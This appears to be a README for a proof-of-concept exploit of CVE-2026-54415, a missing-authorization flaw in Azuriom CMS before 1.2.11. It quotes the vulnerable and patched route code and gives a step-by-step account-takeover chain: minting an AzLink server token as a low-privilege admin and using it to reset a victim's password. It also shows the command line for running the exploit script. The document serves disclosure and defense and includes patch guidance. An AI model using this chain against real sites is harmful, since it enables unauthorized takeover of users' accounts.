
PoC for CVE-2026-54415 — Azuriom CMS (<1.2.11) Broken Access Control → account takeover
| CVE | CVE-2026-54415 |
| Product | Azuriom CMS |
| Affected | < 1.2.11 |
| Fixed in | 1.2.11 — commit 4b744bc |
| CWE | CWE-862 (Missing Authorization), CWE-269 (Improper Privilege Management) |
| CVSS 3.1 | 8.1 High — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| CVSS 4.0 | 8.6 High — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
This PoC is published for defensive and educational purposes against a patched version. Only run it against systems you own or are explicitly authorized to test. Upgrade to Azuriom
1.2.11+.
✅ Verified end-to-end against a local Azuriom 1.2.10 instance — access-control bypass, token minting, confirmed password change + victim login, and the admin-protection boundary.
In routes/admin.php the entire admin panel is gated by a single can:admin.access group, and each sensitive feature is expected to add its own granular can:admin.* middleware. Before 1.2.11, the server-management routes shipped with no such middleware:
// routes/admin.php (vulnerable, < 1.2.11)
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
Any user who can reach the admin panel at all (admin.access) can therefore create servers. There was no admin.servers permission at all — it did not exist until the fix.
The vendor created a new admin.servers permission and wrapped the routes in it:
// routes/admin.php (fixed, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});
The same commit also added the previously-missing permission checks to the social-links and pages/posts.attachments routes.
Creating a server generates a 32-char server token (app/Http/Controllers/Admin/ServerController.php):
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);
That token authenticates the AzLink API (routes/api.php), whose VerifyServerToken middleware trusts any request carrying a valid Azuriom-Link-Token header. AzLink exposes account-management endpoints:
POST /api/azlink/password → change a user's password by game_id
POST /api/azlink/email → change a user's email by game_id
POST /api/azlink/register → create users
POST /api/azlink/user/{id}/money/{add,remove,set}
updatePassword only refuses when the target isAdmin() — every non-admin account is takeover-able:
public function updatePassword(Request $request) {
// validates game_id + password
$user = User::where('game_id', $request->input('game_id'))->firstOrFail();
if ($user->isAdmin()) { return response()->noContent(); } // only admins are protected
$user->update(['password' => $request->input('password')]);
...
}
Server creation calls $server->bridge()->verifyLink() before saving. For the mc-azlink type this is unconditionally true:
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }
So the attacker supplies any dummy address, the server saves anyway, and the fresh token is displayed back in the panel inside the AzLink setup command (/azlink setup <url> <token>).
1. Authenticate as a low-priv admin (only admin.access — NO admin.servers, which didn't exist)
2. POST /admin/servers name=x&type=mc-azlink&address=127.0.0.1 → server saved, token minted
3. GET /admin/servers/{id}/edit → read token from setup command
4. POST /api/azlink/password (header Azuriom-Link-Token: <token>) game_id=<victim>&password=<new>
5. Log in as the victim → full account takeover
python3 poc.py \
--url https://target.example \
--admin-user lowpriv_admin --admin-pass 'password' \
--victim-game-id 1001 \
--new-password 'Pwn3d!TakenOver'
The script logs in, mints a server token, extracts it, resets the victim's password over AzLink, and prints the token + result. See poc.py --help for all flags. Requires requests (pip install requests).
1.2.11 or later.admin_servers and revoke any unexpected server tokens.admin.access.1.2.11MIT — for authorized security testing and research only.